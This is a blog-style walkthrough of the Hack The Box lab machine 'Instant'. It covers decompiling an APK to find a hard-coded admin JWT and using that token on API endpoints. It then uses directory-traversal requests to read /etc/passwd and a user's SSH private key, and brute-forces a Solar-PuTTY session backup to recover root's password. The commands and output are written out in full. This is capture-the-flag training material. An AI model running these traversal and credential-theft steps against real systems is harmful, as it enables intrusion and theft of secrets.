HackTheBox - Instant Walkthrough

Introduction
Yeah, it's been a while since posting...
Today, I am going to walk through Instant on Hack the Box, which was a medium-rated machine created by tahaafarooq. The machine started off with a pretty basic web page that didn't offer a lot of functionality other than to download an APK. We then had to explore that APK to discover additional information to gain an initial foothold and then vertically escalate to root.
Without further ado, let's do this.
Initial Enumeration
As always, I started off with an initial Nmap scan to identify open ports on the host. After the scan completed, there were only two ports open - 22 and 80.
# Nmap 7.94SVN scan initiated Mon Nov 4 21:46:38 2024 as: /usr/lib/nmap/nmap -T4 -p- -vvv -oN scans/instant-initial 10.10.11.37
Nmap scan report for 10.10.11.37
Host is up, received echo-reply ttl 63 (0.072s latency).
Scanned at 2024-11-04 21:46:38 EST for 16s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
I ran a new Nmap scan, but this time running default scripts and version detection while only scanning the open ports.
# Nmap 7.94SVN scan initiated Mon Nov 4 21:47:17 2024 as: /usr/lib/nmap/nmap -sC -sV -p22,80 -oN scans/instant-openports 10.10.11.37
Nmap scan report for 10.10.11.37
Host is up (0.053s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 31:83:eb:9f:15:f8:40:a5:04:9c:cb:3f:f6:ec:49:76 (ECDSA)
|_ 256 6f:66:03:47:0e:8a:e0:03:97:67:5b:41:cf:e2:c7:c7 (ED25519)
80/tcp open http Apache httpd 2.4.58
|_http-title: Did not follow redirect to http://instant.htb/
|_http-server-header: Apache/2.4.58 (Ubuntu)
Service Info: Host: instant.htb; OS: Linux; CPE: cpe:/o:linux:linux_kernel
22 - SSH
SSH is almost never going to be the initial way into a machine, so I skipped it until I had either credentials or a private key to authenticate with.
80 - HTTP
Port 80 was trying to redirect to http://instant.htb
, so I added the domain to my hosts file and then scanned just port 80, but this time with the domain name.
# Nmap 7.94SVN scan initiated Mon Nov 4 21:49:41 2024 as: /usr/lib/nmap/nmap -sC -sV -p80 -oN scans/port80-vhost instant.htb
Nmap scan report for instant.htb (10.10.11.37)
Host is up (0.050s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.58
|_http-title: Instant Wallet
|_http-server-header: Apache/2.4.58 (Ubuntu)
After adding the domain to the hosts file, I visited the page to reveal a static HTML page for a service called Instant.

There really was not much functionality other than to download an APK called instant.apk
. So I did just that. There really wasn't much left to explore on the page, so I moved on from the web application.
http://instant.htb/downloads/instant.apk
Reverse Engineering the APK
This should be fun - I have never reverse engineered an Android APK before. I have only dealt with them when side loading when I daily drove an android, but I have never decompiled one.
A video Engineer Man about decompiling APKs proved very useful and I followed his walkthrough to download a precompiled Linux binary of Jadx and went from there. Such a helpful video. I have watched him for a while and puts out great content.
Used Jadx to decompile instant.apk
⏺ instance/apk > ~/Downloads/bin/jadx instant.apk
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
INFO - loading ...
INFO - processing ...
ERROR - finished with errors, count: 13
I opened the project folder in Sublime Text and searched for instant.htb
and found a few interesting items:
- References to a few new subdomains which I added to my hosts file so I could visit them later.
mywalletv1.instant.htb
swagger-ui.instant.htb
- A JSON Web Token (JWT) for the
mywalletv1.instant.htb
subdomain. This JWT proved very useful later on.

I could have used jwt.io to decode this JWT, but I wanted a way to do it via the command line for a change of pace. I started to look around for my options. I ended up using the jwtd
function provided in the following article -
Using this function, I decoded the JWT and found that it likely belonged to an administrator-level user. This could have also been inferred by the JWT being found in the TestAdminAuthorization
function within the APK.
⏺ htb/instant > jwtd eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
{
"alg": "HS256",
"typ": "JWT"
}
{
"id": 1,
"role": "Admin",
"walId": "f0eca6e5-783a-471d-9d8f-0162cbc900db",
"exp": 33259303656
}
Signature: v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA
I used curl
with the URL found in the TestAdminAuthorization
function of the APK with the JWT which successfully returned information about the user instantAdmin
.
curl
to jq
to make reading the response a little easier on the eyes by properly formatting it.⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/view/profile | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 236 100 236 0 0 919 0 --:--:-- --:--:-- --:--:-- 921
{
"Profile": {
"account_status": "active",
"email": "admin@instant.htb",
"invite_token": "instant_admin_inv",
"role": "Admin",
"username": "instantAdmin",
"wallet_balance": "10000000",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
"Status": 200
}
Poking Around Swagger
I turned my attention to the other subdomain found in the APK http://swagger-ui.instant.htb
which revealed additional API endpoints the application supported.
There was an endpoint at /api/v1/admin/list/users
which would list all users in the database. I decided to check this out since it sounded interesting.

I used curl
again with this API endpoint to find there were three users in the database: instantAdmin
, shirohige
, and a generic account. This information, by itself, was not very helpful at the current time, but it is always a good idea to enumerate everything you come across, whether it helps right then and there or not.
⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/list/users | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 496 100 496 0 0 1934 0 --:--:-- --:--:-- --:--:-- 1937
{
"Status": 200,
"Users": [
{
"email": "admin@instant.htb",
"role": "Admin",
"secret_pin": 87348,
"status": "active",
"username": "instantAdmin",
"wallet_id": "f0eca6e5-783a-471d-9d8f-0162cbc900db"
},
{
"email": "shirohige@instant.htb",
"role": "instantian",
"secret_pin": 42845,
"status": "active",
"username": "shirohige",
"wallet_id": "458715c9-b15e-467b-8a3d-97bc3fcf3c11"
},
{
"email": "string",
"role": "instantian",
"secret_pin": 12345,
"status": "active",
"username": "string",
"wallet_id": "d763d567-143f-4a61-99f3-e613419011b7"
}
]
}
Beating up more API endpoints
There were two other API endpoints which would list aviablaile logs and another to read the logs returned by the first endpoint.

I started by listing any available logs with via the /api/v1/admin/view/logs
endpoint which returned a single log file called 1.log
located in /home/shirohige/logs/
– that name sure does ring a bell...
⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/view/logs | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 64 100 64 0 0 240 0 --:--:-- --:--:-- --:--:-- 241
{
"Files": [
"1.log"
],
"Path": "/home/shirohige/logs/",
"Status": 201
}
Now that I had the name of a log file, I used the second API endpoint to read the contents of the application log. The API endpoint required a parameter called log_file_name
which in my case would be set to 1.log
.
The log file did not really return much of anything of substance.
⏺ htb/instant > curl -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/read/log\?log_file_name\=1.log | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 79 100 79 0 0 383 0 --:--:-- --:--:-- --:--:-- 383
{
"/home/shirohige/logs/1.log": [
"This is a sample log testing\n"
],
"Status": 201
}
However, my hacker-senses were tingling. We have a parameter called log_file_name
and is accepting user input to then display the contents of a log file, what if we supply it a file that was not 1.log
?
Rather than supplying 1.log
like I did before, I instead supplied log_file_name=../../../../etc/passwd
and what do you know, it returned the contents of /etc/passwd
.
--path-as-is
here to ensure curl would accept ../../
without trying squash them which could break the directory traversal sequence.⏺ htb/instant > curl --path-as-is -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/read/log\?log_file_name\=../../../../etc/passwd | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 1676 100 1676 0 0 7649 0 --:--:-- --:--:-- --:--:-- 7618
{
"/home/shirohige/logs/../../../../etc/passwd": [
"root:x:0:0:root:/root:/bin/bash\n",
<snipped>
"shirohige:x:1001:1002:White Beard:/home/shirohige:/bin/bash\n",
"_laurel:x:999:990::/var/log/laurel:/bin/false\n"
],
"Status": 201
}
Okay cool, I could get /etc/passwd
. Now what? Here is where we stand right now:
- We know there is a user called
shirohige
as not only are they a user in the web application (confirmed via the API), but the account was also in/etc/passwd
- We know the API returned a log file located in
/home/shirohige/logs
which means it can at least read files from the user's home directory. - We discovered a directory traversal vulnerability that allows us to read arbitrary file contents outside the intended path specified by the web application.
- The SSH service is listening on port 22
What does all of this mean? Well, what if we moved up one directory in the user's home directory and then move into .ssh
and try and read their SSH private key?
I used log_file_name=../.ssh/id_rsa
with the previous curl
command to move up one directory and navigate to the .ssh
directory and was able to read shirohige
's SSH private key.
⏺ htb/instant > curl --path-as-is -H "Authorization:eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicm9sZSI6IkFkbWluIiwid2FsSWQiOiJmMGVjYTZlNS03ODNhLTQ3MWQtOWQ4Zi0wMTYyY2JjOTAwZGIiLCJleHAiOjMzMjU5MzAzNjU2fQ.v0qyyAqDSgyoNFHU7MgRQcDA0Bw99_8AEXKGtWZ6rYA" http://mywalletv1.instant.htb/api/v1/admin/read/log\?log_file_name\=../.ssh/id_rsa | jq
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 2809 100 2809 0 0 16322 0 --:--:-- --:--:-- --:--:-- 16331
{
"/home/shirohige/logs/../.ssh/id_rsa": [
"-----BEGIN OPENSSH PRIVATE KEY-----\n",
"b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn\n",
"NhAAAAAwEAAQAAAYEApbntlalmnZWcTVZ0skIN2+Ppqr4xjYgIrZyZzd9YtJGuv/w3GW8B\n",
<snipped>
"5VNy/4CNnMdXALx0OMVNNoY1wPTAb0x/Pgvm24KcQn/7WCms865is11BwYYPaig5F5Zo1r\n",
"bhd6Uh7ofGRW/5AAAAEXNoaXJvaGlnZUBpbnN0YW50AQ==\n",
"-----END OPENSSH PRIVATE KEY-----\n"
],
"Status": 201
}
Initial Foothold as shirohige
With shirohige
's SSH private key in hand, I cleaned it up a bit and saved it locally as shirohige.id_rsa
. I then chmod'd it to 600 and used it to successfully SSH to the box as shirohige
.
⏺ htb/instant > vim shirohige.id_rsa
⏺ htb/instant > chmod 600 shirohige.id_rsa
⏺ htb/instant > ssh -i shirohige.id_rsa shirohige@instant.htb
The authenticity of host 'instant.htb (10.10.11.37)' can't be established.
ED25519 key fingerprint is SHA256:r+JkzsLsWoJi57npPp0MXIJ0/vVzZ22zbB7j3DWmdiY.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'instant.htb' (ED25519) to the list of known hosts.
Welcome to Ubuntu 24.04.1 LTS (GNU/Linux 6.8.0-45-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/pro
This system has been minimized by removing packages and content that are
not required on a system that users do not log into.
To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
Last login: Tue Nov 5 02:17:45 2024 from 10.10.16.70
Reading user.txt
shirohige@instant:~$ cat user.txt
12****************************d7
Userland Enumeration
I started to poke around the box and did the following:
- Checked sudo privileges with
sudo -l
but needed a password which I did not have at the time. - Enumerated SUID binaries with
find / -type f -perm -u=s 2>/dev/null
which only returned binaries I would expect to see on the box. - Local ports with
netstat -tuln
only returned two HTTP ports but one of them did not work and the other one was used for the Swagger UI. - Listing the crontab with
crontab -l
did not return anything - Nothing in
/var/mail
or/var/backup
I always make sure to check out /opt
which this time around, yieled a Solar PuTTY session file at /opt/backups/Solar-PuTTY/sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ ls -l
total 4
-rw-r--r-- 1 shirohige shirohige 1100 Sep 30 11:38 sessions-backup.dat
shirohige@instant:/opt/backups/Solar-PuTTY$ cat sessions-backup.dat
ZJlEkpkqLgj2PlzCyLk4gtCfsGO2CMirJoxxdpclYTlEshKzJwjMCwhDGZzNRr0fNJMlLWfpbdO7l2fEbSl/<snip>
zcSEbNTiBsWTTQuWRQpcPmNnoFN2VsqZD7d4ukhtakDHGvnvgr2TpcwiaQjHSwcMUFUawf0Oo2+yV3lwsBIUWvhQw2g
This appeared to be a Solar PuTTY session export, which was very interesting knowing what it is used for and could potentially hold sensitive information such as credentials we could use.
After some time researching what to do with this file, I stumbled across the following script, which could be used to brute-force the session file to recover the contents of the session export file.
Privilege Escalation to Root
I used SCP to copy the session export file from the host to my local machine so I could then use the script with it.
⏺ htb/instant > scp -i shirohige.id_rsa shirohige@instant.htb:/opt/backups/Solar-PuTTY/sessions-backup.dat ./loot
sessions-backup.dat
Running the script with rockyou.txt
against the sessions export file was successful in dumping the contents of the export, which included the plaintext password for root
.
⏺ ~/Downloads > ./sp_crack /usr/share/wordlists/rockyou.txt ~/Documents/ctf/htb/instant/loot/sessions-backup.dat
Current platform cannot try to decrypt session data without password: Operation is not supported on this platform.
This is expected on Linux and MacOS. Will continue to try to decrypt with password.
Decrypted: {"Sessions":[{"Id":"066894ee-635c-4578-86d0-d36d4838115b","Ip":"10.10.11.37","Port":22,"ConnectionType":1,"SessionName":"Instant","Authentication":0,"CredentialsID":"452ed919-530e-419b-b721-da76cbe8ed04","AuthenticateScript":"00000000-0000-0000-0000-000000000000","LastTimeOpen":"0001-01-01T00:00:00","OpenCounter":1,"SerialLine":null,"Speed":0,"Color":"#FF176998","TelnetConnectionWaitSeconds":1,"LoggingEnabled":false,"RemoteDirectory":""}],"Credentials":[{"Id":"452ed919-530e-419b-b721-da76cbe8ed04","CredentialsName":"instant-root","Username":"root","Password":"12*************12","PrivateKeyPath":"","Passphrase":"","PrivateKeyContent":null}],"AuthScript":[],"Groups":[],"Tunnels":[],"LogsFolderDestination":"C:\\ProgramData\\SolarWinds\\Logs\\Solar-PuTTY\\Sessio
Password founnd: estrella
With root's password in hand, I switched to root and that was the box.
hirohige@instant:/$ su root
Password:
root@instant:/# whoami && hostname && ifconfig
root
instant
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.11.37 netmask 255.255.254.0 broadcast 10.10.11.255
inet6 fe80::250:56ff:feb0:f626 prefixlen 64 scopeid 0x20<link>
inet6 dead:beef::250:56ff:feb0:f626 prefixlen 64 scopeid 0x0<global>
ether 00:50:56:b0:f6:26 txqueuelen 1000 (Ethernet)
RX packets 2133559 bytes 309797099 (309.7 MB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2144499 bytes 942028199 (942.0 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
aaaaaaand getting the root flag
root@instant:~# cat root.txt
80****************************12
Thank you for reading my walkthrough! I really enjoyed the chance to reverse engineer the APK as it is something I have never done so it was a challenge at first but glad I stuck with it to the end.
Until next time!